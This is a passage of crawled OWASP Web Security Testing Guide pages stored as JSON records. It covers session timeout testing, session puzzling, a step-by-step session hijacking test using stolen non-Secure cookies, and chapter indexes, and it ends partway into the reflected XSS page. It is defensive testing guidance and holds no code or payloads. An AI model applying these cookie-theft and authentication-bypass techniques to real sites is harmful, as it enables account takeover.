timeout for sessions. This timeout defines the amount of time a session will remain active in case there is no activity by the user, closing and invalidating the session upon the defined idle period since the last HTTP request received by the web application for a given session ID. The most appropriate timeout should be a balance between security (shorter timeout) and usability (longer timeout) and heavily depends on the sensitivity level of the data handled by the application. For example, a 60 minute log out time for a public forum can be acceptable, but such a long time would be too much in a home banking application (where a maximum timeout of 15 minutes is recommended). In any case, any application that does not enforce a timeout-based log out should be considered not secure, unless such behavior is required by a specific functional requirement.\n\nThe idle timeout limits the chances that an attacker has to guess and use a valid session ID from another user, and under certain circumstances could protect public computers from session reuse. However, if the attacker is able to hijack a given session, the idle timeout does not limit the attacker’s actions, as he can generate activity on the session periodically to keep the session active for longer periods of time.\n\nSession timeout management and expiration must be enforced server-side. If some data under the control of the client is used to enforce the session timeout, for example using cookie values or other client parameters to track time references (e.g. number of minutes since log in time), an attacker could manipulate these to extend the session duration. So the application has to track the inactivity time server-side and, after the timeout is expired, automatically invalidate the current user’s session and delete every data stored on the client.\n\nBoth actions must be implemented carefully, in order to avoid introducing weaknesses that could be exploited by an attacker to gain unauthorized access if the user forgot to log out from the application. More specifically, as for the log out function, it is important to ensure that all session tokens (e.g. cookies) are properly destroyed or made unusable, and that proper controls are enforced server-side to prevent the reuse of session tokens. If such actions are not properly carried out, an attacker could replay these session tokens in order to “resurrect” the session of a legitimate user and impersonate him/her (this attack is usually known as ‘cookie replay’). Of course, a mitigating factor is that the attacker needs to be able to access those tokens (which are stored on the victim’s PC), but, in a variety of cases, this may not be impossible or particularly difficult.\n\nThe most common scenario for this kind of attack is a public computer that is used to access some private information (e.g., web mail, online bank account). If the user moves away from the computer without explicitly logging out and the session timeout is not implemented on the application, then an attacker could access to the same account by simply pressing the “back” button of the browser.\n\n## Test Objectives\n\n- Validate that a hard session timeout exists.\n\n## How to Test\n\n### Black-Box Testing\n\nThe same approach seen in the [Testing for logout functionality](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/06-Testing_for_Logout_Functionality) section can be applied when measuring the timeout log out.\nThe testing methodology is very similar. First, testers have to check whether a timeout exists, for instance, by logging in and waiting for the timeout log out to be triggered. As in the log out function, after the timeout has passed, all session tokens should be destroyed or be unusable.\n\nThen, if the timeout is configured, testers need to understand whether the timeout is enforced by the client or by the server (or both). If the session cookie is non-persistent (or, more in general, the session cookie does not store any data about the time), testers can assume that the timeout is enforced by the server. If the session cookie contains some time related data (e.g., log in time, or last access time, or expiration date for a persistent cookie), then it’s possible that the client is involved in the timeout enforcing. In this case, testers could try to modify the cookie (if it’s not cryptographically protected) and see what happens to the session. For instance, testers can set the cookie expiration date far in the future and see whether the session can be prolonged.\n\nAs a general rule, everything should be checked server-side and it should not be possible, by re-setting the session cookies to previous values, to access the application again.\n\n### Gray-Box Testing\n\nThe tester needs to check that:\n\n- The log out function effectively destroys all session token, or at least renders them unusable,\n- The server performs proper checks on the session state, disallowing an attacker to replay previously destroyed session identifiers\n- A timeout is enforced and it is properly enforced by the server. If the server uses an expiration time that is read from a session token that is sent by the client (but this is not advisable), then the token must be cryptographically protected from tampering.\n\nNote that the most important thing is for the application to invalidate the session on the server-side. Generally this means that the code must invoke the appropriate methods, e.g. `HttpSession.invalidate()` in Java and `Session.abandon()` in .NET. Clearing the cookies from the browser is advisable, but is not strictly necessary, since if the session is properly invalidated on the server, having the cookie in the browser will not help an attacker.\n\n## References\n\n### OWASP Resources\n\n- [Session Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6344, "slov": 1011, "odkazu": 179, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:39", "sha256": "e7b85da51692f036836eefd04351217c5013c268ab5e4f218e5a1f0ccc0b1b1f", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/08-Testing_for_Session_Puzzling", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/08-Testing_for_Session_Puzzling", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/08-Testing_for_Session_Puzzling", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "06-Session Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Session Puzzling"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Examples"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Testing for Session Puzzling\n\n| ID |\n| --- |\n| WSTG-SESS-08 |\n\n## Summary\n\nSession Variable Overloading (also known as Session Puzzling) is an application level vulnerability which can enable an attacker to perform a variety of malicious actions, including but not limited to:\n\n- Bypass efficient authentication enforcement mechanisms, and impersonate legitimate users.\n- Elevate the privileges of a malicious user account, in an environment that would otherwise be considered foolproof.\n- Skip over qualifying phases in multi-phase processes, even if the process includes all the commonly recommended code level restrictions.\n- Manipulate server-side values in indirect methods that cannot be predicted or detected.\n- Execute traditional attacks in locations that were previously unreachable, or even considered secure.\n\nThis vulnerability occurs when an application uses the same session variable for more than one purpose. An attacker can potentially access pages in an order unanticipated by the developers so that the session variable is set in one context and then used in another.\n\nFor example, an attacker could use session variable overloading to bypass authentication enforcement mechanisms of applications that enforce authentication by validating the existence of session variables that contain identity–related values, which are usually stored in the session after a successful authentication process. This means an attacker first accesses a location in the application that sets session context and then accesses privileged locations that examine this context.\n\nFor example - an authentication bypass attack vector could be executed by accessing a publicly accessible entry point (e.g. a password recovery page) that populates the session with an identical session variable, based on fixed values or on user originating input.\n\n## Test Objectives\n\n- Identify all session variables.\n- Break the logical flow of session generation.\n\n## How to Test\n\n### Black-Box Testing\n\nThis vulnerability can be detected and exploited by enumerating all of the session variables used by the application and in which context they are valid. In particular this is possible by accessing a sequence of entry points and then examining exit points. In case of black-box testing this procedure is difficult and requires some luck since every different sequence could lead to a different result.\n\n#### Examples\n\nA very simple example could be the password reset functionality that, in the entry point, could request the user to provide some identifying information such as the username or the email address. This page might then populate the session with these identifying values, which are received directly from the client-side, or obtained from queries or calculations based on the received input. At this point there may be some pages in the application that show private data based on this session object. In this manner the attacker could bypass the authentication process.\n\n### Gray-Box Testing\n\nThe most effective way to detect these vulnerabilities is via a source code review.\n\n## Remediation\n\nSession variables should only be used for a single consistent purpose.\n\n## References\n\n- [Session Puzzles](https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/puzzlemall/Session%20Puzzles%20-%20Indirect%20Application%20Attack%20Vectors%20-%20May%202011%20-%20Whitepaper.pdf)\n- [Session Puzzling and Session Race Conditions](http://sectooladdict.blogspot.com/2011/09/session-puzzling-and-session-race.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 3569, "slov": 491, "odkazu": 180, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:40", "sha256": "2e7213a5e512cdf1a3ad6ab89be3aaf4193abbb8107964ed8b13a326025ac6cd", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/puzzlemall/Session%20Puzzles%20-%20Indirect%20Application%20Attack%20Vectors%20-%20May%202011%20-%20Whitepaper.pdf", "http://sectooladdict.blogspot.com/2011/09/session-puzzling-and-session-race.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/09-Testing_for_Session_Hijacking", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/09-Testing_for_Session_Hijacking", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/09-Testing_for_Session_Hijacking", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "06-Session Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Session Hijacking"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "Tools"}], "markdown": "# WSTG - v4.2\n\n# Testing for Session Hijacking\n\n| ID |\n| --- |\n| WSTG-SESS-09 |\n\n## Summary\n\nAn attacker who gets access to user session cookies can impersonate them by presenting such cookies. This attack is known as session hijacking. When considering network attackers, i.e., attackers who control the network used by the victim, session cookies can be unduly exposed to the attacker over HTTP. To prevent this, session cookies should be marked with the `Secure` attribute so that they are only communicated over HTTPS.\n\nNote that the `Secure` attribute should also be used when the web application is entirely deployed over HTTPS, otherwise the following cookie theft attack is possible. Assume that `example.com` is entirely deployed over HTTPS, but does not mark its session cookies as `Secure`. The following attack steps are possible:\n\n1. The victim sends a request to `http://another-site.com` .\n2. The attacker corrupts the corresponding response so that it triggers a request to `http://example.com` .\n3. The browser now tries to access `http://example.com` .\n4. Though the request fails, the session cookies are leaked in the clear over HTTP.\n\nAlternatively, session hijacking can be prevented by banning use of HTTP using [HSTS](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security). Note that there is a subtlety here related to cookie scoping. In particular, full HSTS adoption is required when session cookies are issued with the `Domain` attribute set.\n\nFull HSTS adoption is described in a paper called *Testing for Integrity Flaws in Web Sessions* by Stefano Calzavara, Alvise Rabitti, Alessio Ragazzo, and Michele Bugliesi. Full HSTS adoption occurs when a host activates HSTS for itself and all its sub-domains. Partial HSTS adoption is when a host activates HSTS just for itself.\n\nWith the `Domain` attribute set, session cookies can be shared across sub-domains. Use of HTTP with sub-domains should be avoided to prevent the disclosure of unencrypted cookies sent over HTTP. To exemplify this security flaw, assume that the website `example.com` activates HSTS without the `includeSubDomains` option. The website issues session cookies with the `Domain` attribute set to `example.com`. The following attack is possible:\n\n1. The victim sends a request to `http://another-site.com` .\n2. The attacker corrupts the corresponding response so that it triggers a request to `http://fake.example.com` .\n3. The browser now tries to access `http://fake.example.com` , which is permitted by the HSTS configuration.\n4. Since the request is sent to a sub-domain of `example.com` with the `Domain` attribute set, it includes the session cookies, which are leaked in the clear over HTTP.\n\nFull HSTS should be activated on the apex domain to prevent this attack.\n\n## Test Objectives\n\n- Identify vulnerable session cookies.\n- Hijack vulnerable cookies and assess the risk level.\n\n## How to Test\n\nThe testing strategy is targeted at network attackers, hence it only needs to be applied to sites without full HSTS adoption (sites with full HSTS adoption are secure, since their cookies are not communicated over HTTP). We assume to have two testing accounts on the website under test, one to act as the victim and one to act as the attacker. We simulate a scenario where the attacker steals all the cookies which are not protected against disclosure over HTTP, and presents them to the website to access the victim’s account. If these cookies are enough to act on the victim’s behalf, session hijacking is possible.\n\nHere are the steps for executing this test:\n\n1. Login to the website as the victim and reach any page offering a secure function requiring authentication.\n2. Delete from the cookie jar all the cookies which satisfy any of the following conditions.\n - in case there is no HSTS adoption: the `Secure` attribute is set.\n - in case there is partial HSTS adoption: the `Secure` attribute is set or the `Domain` attribute is not set.\n3. Save a snapshot of the cookie jar.\n4. Trigger the secure function identified at step 1.\n5. Observe whether the operation at step 4 has been performed successfully. If so, the attack was successful.\n6. Clear the cookie jar, login as the attacker and reach the page at step 1.\n7. Write in the cookie jar, one by one, the cookies saved at step 3.\n8. Trigger again the secure function identified at step 1.\n9. Clear the cookie jar and login again as the victim.\n10. Observe whether the operation at step 8 has been performed successfully in the victim’s account. If so, the attack was successful; otherwise, the site is secure against session hijacking.\n\nWe recommend using two different machines or browsers for the victim and the attacker. This allows you to decrease the number of false positives if the web application does fingerprinting to verify access enabled from a given cookie. A shorter but less precise variant of the testing strategy only requires one testing account. It follows the same pattern, but it halts at step 5 (note that this makes step 3 useless).\n\n## Tools\n\n- [OWASP ZAP](https://www.zaproxy.org)\n- [JHijack - a numeric session hijacking tool](https://sourceforge.net/projects/jhijack/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 5166, "slov": 820, "odkazu": 181, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:41", "sha256": "dd86707b18d6802c054bc55189e814f5b4af02304e4db07c5a558c8f8303cf12", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security", "https://www.zaproxy.org/", "https://sourceforge.net/projects/jhijack/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/README", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "06-Session Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "4.6 Session Management Testing"}], "markdown": "# WSTG - v4.2\n\n# 4.6 Session Management Testing\n\n4.6.1 [Testing for Session Management Schema](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/01-Testing_for_Session_Management_Schema)\n\n4.6.2 [Testing for Cookies Attributes](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes)\n\n4.6.3 [Testing for Session Fixation](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/03-Testing_for_Session_Fixation)\n\n4.6.4 [Testing for Exposed Session Variables](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/04-Testing_for_Exposed_Session_Variables)\n\n4.6.5 [Testing for Cross Site Request Forgery](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery)\n\n4.6.6 [Testing for Logout Functionality](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/06-Testing_for_Logout_Functionality)\n\n4.6.7 [Testing Session Timeout](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/07-Testing_Session_Timeout)\n\n4.6.8 [Testing for Session Puzzling](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/08-Testing_for_Session_Puzzling)\n\n4.6.9 [Testing for Session Hijacking](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/09-Testing_for_Session_Hijacking)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 1804, "slov": 128, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:32", "sha256": "8a0ffd43d35201a4532664409444544dc7937513f3fad3d03432180c65e98d6f", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "07-Input Validation Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "4.7 Input Validation Testing"}], "markdown": "# WSTG - v4.2\n\n# 4.7 Input Validation Testing\n\n4.7.1 [Testing for Reflected Cross Site Scripting](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting)\n\n4.7.2 [Testing for Stored Cross Site Scripting](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting)\n\n4.7.3 [Testing for HTTP Verb Tampering](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/03-Testing_for_HTTP_Verb_Tampering)\n\n4.7.4 [Testing for HTTP Parameter Pollution](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/04-Testing_for_HTTP_Parameter_Pollution)\n\n4.7.5 [Testing for SQL Injection](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection)\n\n- 4.7.5.1 [Testing for Oracle](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.1-Testing_for_Oracle)\n- 4.7.5.2 [Testing for MySQL](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.2-Testing_for_MySQL)\n- 4.7.5.3 [Testing for SQL Server](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.3-Testing_for_SQL_Server)\n- 4.7.5.4 [Testing PostgreSQL](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.4-Testing_PostgreSQL)\n- 4.7.5.5 [Testing for MS Access](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.5-Testing_for_MS_Access)\n- 4.7.5.6 [Testing for NoSQL Injection](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection)\n- 4.7.5.7 [Testing for ORM Injection](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.7-Testing_for_ORM_Injection)\n- 4.7.5.8 [Testing for Client-side](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.8-Testing_for_Client-side)\n\n4.7.6 [Testing for LDAP Injection](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/06-Testing_for_LDAP_Injection)\n\n4.7.7 [Testing for XML Injection](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection)\n\n4.7.8 [Testing for SSI Injection](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/08-Testing_for_SSI_Injection)\n\n4.7.9 [Testing for XPath Injection](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/09-Testing_for_XPath_Injection)\n\n4.7.10 [Testing for IMAP SMTP Injection](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/10-Testing_for_IMAP_SMTP_Injection)\n\n4.7.11 [Testing for Code Injection](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11-Testing_for_Code_Injection)\n\n- 4.7.11.1 [Testing for Local File Inclusion](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion)\n- 4.7.11.2 [Testing for Remote File Inclusion](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion)\n\n4.7.12 [Testing for Command Injection](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection)\n\n4.7.13 [Testing for Format String Injection](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13-Testing_for_Format_String_Injection)\n\n4.7.14 [Testing for Incubated Vulnerability](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/14-Testing_for_Incubated_Vulnerability)\n\n4.7.15 [Testing for HTTP Splitting Smuggling](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/15-Testing_for_HTTP_Splitting_Smuggling)\n\n4.7.16 [Testing for HTTP Incoming Requests](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/16-Testing_for_HTTP_Incoming_Requests)\n\n4.7.17 [Testing for Host Header Injection](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection)\n\n4.7.18 [Testing for Server-side Template Injection](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server-side_Template_Injection)\n\n4.7.19 [Testing for Server-Side Request Forgery](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/19-Testing_for_Server-Side_Request_Forgery)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 5406, "slov": 401, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:33:38", "sha256": "e88bf6bc3ee35e27510f5f49b715b66872e3f354c0560174b82dcee9f60be698", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "07-Input Validation Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Reflected Cross Site Scripting"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Detect Input Vectors"}, {"uroven": 4, "text": "Analyze Input Vectors"}, {"uroven": 4, "text": "Check Impact"}, {"uroven": 4, "text": "Example 1"}, {"uroven": 4, "text": "Example 2"}, {"uroven": 3, "text": "Bypass XSS Filters"}, {"uroven": 4, "text": "Example 3: Tag Attribute Value"}, {"uroven": 4, "text": "Example 4: Different Syntax or Encoding"}, {"uroven": 4, "text": "Example 5: Bypassing Non-Recursive Filtering"}, {"uroven": 4, "text": "Example 6: Including External Script"}, {"uroven": 4, "text": "Example 7: HTTP Parameter Pollution (HPP)"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "OWASP Resources"}, {"uroven": 3, "text": "Books"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.2\n\n# Testing for Reflected Cross Site Scripting\n\n| ID |\n| --- |\n| WSTG-INPV-01 |\n\n## Summary\n\nReflected [Cross-site Scripting (XSS)](https://owasp.org/www-community/attacks/xss/) occur when an attacker injects browser executable code within a single HTTP response. The injected attack is not stored within the application itself; it is non-persistent and only impacts users who open a maliciously crafted link or third-party web page. The attack string is included as part of the crafted URI or HTTP parameters, improperly processed by the application, and returned to the victim.\n\nReflected XSS are the most frequent type of XSS attacks found in the wild. Reflected XSS attacks are also known as non-persistent XSS attacks and, since the attack payload is delivered and executed via a single request and response, they are also referred to as first-order or type 1 XSS.\n\nWhen a web application is vulnerable to this type of attack, it will pass unvalidated input sent through requests back to the client. The common modus operandi of the attack includes a design step, in which the attacker creates and tests an offending URI, a social engineering step, in which she convinces her victims to load this URI on their browsers, and the eventual execution of the offending code using the victim’s browser.\n\nCommonly the attacker’s code is written in the JavaScript language, but other scripting languages are also used, e.g., ActionScript and VBScript. Attackers typically leverage these vulnerabilities to install key loggers, steal victim cookies, perform clipboard theft, and change the content of the page (e.g., download links).\n\nOne of the primary difficulties in preventing XSS vulnerabilities is proper character encoding. In some cases, the web server or the web application could not be filtering some encodings of characters, so, for example, the web application might filter out ``\n- 